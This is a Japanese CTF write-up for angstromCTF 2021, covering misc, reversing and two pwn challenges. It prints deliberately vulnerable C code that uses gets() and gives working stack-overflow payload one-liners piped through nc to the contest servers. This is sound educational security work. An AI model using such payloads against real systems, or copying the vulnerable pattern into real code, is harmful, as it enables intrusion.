angstromCTF 2021 WriteUp
概要
angstromCTF 2021に参加したのでそのWriteUpです。
Misc
Archaic
archive.tar.gzの中身を確認してみます。
shellサーバの中のarchive.tar.gzの中にflag.txtが入っており、この中身が見れればOKのようです。
以下のtarコマンドを使って展開してみます。
tar xzvf archive.tar.gz
Operation not permittedとなって実行することが出来ません。
そこでファイル出力せずにファイルの中身を確認することにします。
以下のコマンドを実行します。
tar -zxOf archive.tar.gz flag.txt
flagが表示されました。
Rev
FREE FLAGS!!1!!
nc shell.actf.co 21703に接続してみます。
What number am I thinking of???と訊かれるので適当に数字を打ち込んでみると
Wrong >:((((となります。
プログラムをGhidraで解析してみます。
数字の入力が訊かれる部分を逆コンパイルすると以下のようになります。
どうやらWhat number am I thinking of???で訊かれる数字は31337であり、そのあとに訊かれるWhat two numbers am I thinking of???では足して1142、掛けて302937になる二つの数字、What animal am I thinking of???ではbananaという文字列を入力することでflagが表示されるようです。
足して1142、掛けて302937になる二つの数字を見つけます。
302937を素因数分解すると3×241×419になります。
3 × 241 + 419 = 723 + 419 = 1142なので入力する数字は723と419になります。
入力すると以下のようになりflagが表示されます。
BINARY
tranquil
nc shell.actf.co 21830に接続してみます。
Enter the secret wordと訊かれます。適当に文字を入力するとLogin failed!と表示されます。
#include <stdio.h> #include <stdlib.h> #include <string.h> int win(){ char flag[128]; FILE *file = fopen("flag.txt","r"); if (!file) { printf("Missing flag.txt. Contact an admin if you see this on remote."); exit(1); } fgets(flag, 128, file); puts(flag); } int vuln(){ char password[64]; puts("Enter the secret word: "); gets(&password); if(strcmp(password, "password123") == 0){ puts("Logged in! The flag is somewhere else though..."); } else { puts("Login failed!"); } return 0; } int main(){ setbuf(stdout, NULL); setbuf(stderr, NULL); vuln(); // not so easy for you! // win(); return 0; }
ソースコードを見てみるとgetsを使っていて入力できる文字数を制限していないためバッファオーバフローが起こせそうです。
またwin関数を実行することでflagが表示されるようです。
つまりバッファオーバフローを起こしてリターンアドレスを書き換えることでflagがゲットできそうです。
プログラムをGhidraで解析してwin関数のアドレスを調べます。
win関数のアドレスは0x00401196であることが分かりました。
リターンアドレスを書き換えるコードを作成します。(今回はshellのワンライナーで解きました)
vuln関数はpasswordが64バイトであり、古いrbpが8バイトあるためスタックは以下のようになります。
位置 | 大きさ | 内容 |
---|---|---|
rbp - 0x40 | 64バイト | password |
rbp | 8バイト | 古いrbp |
rbp + 0x08 | 8バイト | リターンアドレス |
※Ghidraのアドレス表示はリターンアドレスを基準としたもの(上記の表より8バイトずれている)なので注意
つまり72バイト適当な文字列を入力した後、 win関数のリターンアドレスを入力すればよさそうです。
以下shellのワンライナー
echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x96\x11\x40\x00' | nc shell.actf.co 21830
※アドレスを入力するときはリトルエンディアンにする
実行すると以下のようになりflagが出ます。
Sanity Checks
nc shell.actf.co 21303に接続します。
Enter the secret wordと訊かれるので適当な文字列を入力するとLogin failed!と弾かれます。
#include <stdio.h> #include <stdlib.h> #include <string.h> void main(){ setbuf(stdout, NULL); setbuf(stderr, NULL); char password[64]; int ways_to_leave_your_lover = 0; int what_i_cant_drive = 0; int when_im_walking_out_on_center_circle = 0; int which_highway_to_take_my_telephones_to = 0; int when_i_learned_the_truth = 0; printf("Enter the secret word: "); gets(&password); if(strcmp(password, "password123") == 0){ puts("Logged in! Let's just do some quick checks to make sure everything's in order..."); if (ways_to_leave_your_lover == 50) { if (what_i_cant_drive == 55) { if (when_im_walking_out_on_center_circle == 245) { if (which_highway_to_take_my_telephones_to == 61) { if (when_i_learned_the_truth == 17) { char flag[128]; FILE *f = fopen("flag.txt","r"); if (!f) { printf("Missing flag.txt. Contact an admin if you see this on remote."); exit(1); } fgets(flag, 128, f); printf(flag); return; } } } } } puts("Nope, something seems off."); } else { puts("Login failed!"); } }
ソースコードを見てみるとtranquilと同じくgetsを使っていて入力できる文字数を制限していないためバッファオーバフローが起こせそうです。
このプログラムでflagを表示させるには6個の条件がそろう必要があります。
- 変数passwordの内容がpassword123
- 変数ways_to_leave_your_loverの値が50
- 変数what_i_cant_driveの値が55
- 変数when_im_walking_out_on_center_circleの値が245
- 変数which_highway_to_take_my_telephones_toの値が61
- 変数when_i_learned_the_truthの値が17
バッファオーバフローで変数の中身を書き換えるためにスタックの並びを調べます。今回はGhidraで解析します。
上記のソースコードをもとに逆コンパイル結果の変数名を修正するとmain関数のスタックは以下のようになります。
これを表にまとめると以下のようになります。
位置 | 大きさ | 内容 |
---|---|---|
rbp - 0xe0 | 128バイト | flag |
rbp - 0x60 | 64バイト | password |
rbp - 0x20 | 12バイト | *f |
rbp - 0x14 | 4バイト | when_i_learned_the_truth |
rbp - 0x10 | 4バイト | which_highway_to_take_my_telephones_to |
rbp - 0x0c | 4バイト | when_im_walking_out_on_center_circle |
rbp - 0x08 | 4バイト | what_i_cant_drive |
rbp - 0x04 | 4バイト | ways_to_leave_your_lover |
rbp | 8バイト | 古いrbp |
※Ghidraのアドレス表示はリターンアドレスを基準としたもの(上記の表より8バイトずれている)なので注意
つまりpassword123を入力した後53バイト分Null文字、12バイト分のNullポインタ、17を16進数に変換したもの(0x11)、61を16進数に変換したもの(0x3d)、245を16進数に変換したもの(0xf5)、55を16進数に変換したもの(0x37)、50を16進数に変換したもの(0x32)を入力します。
これらの情報をもとにコードを作成します。
以下shellのワンライナー
echo -e 'password123\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x3d\x00\x00\x00\xF5\x00\x00\x00\x37\x00\x00\x00\x32\x00\x00\x00' | nc shell.actf.co 21303
※整数値を入力するときはリトルエンディアンにする
実行すると以下のようになりflagが出ます。
感想
今回は大学サークルのチームとして参加して、自分は4問解きました。
自分は2年前にも参加しました。その時は全く歯が立たなかったですが、今回は少しだけでも解けたので成長を実感できました。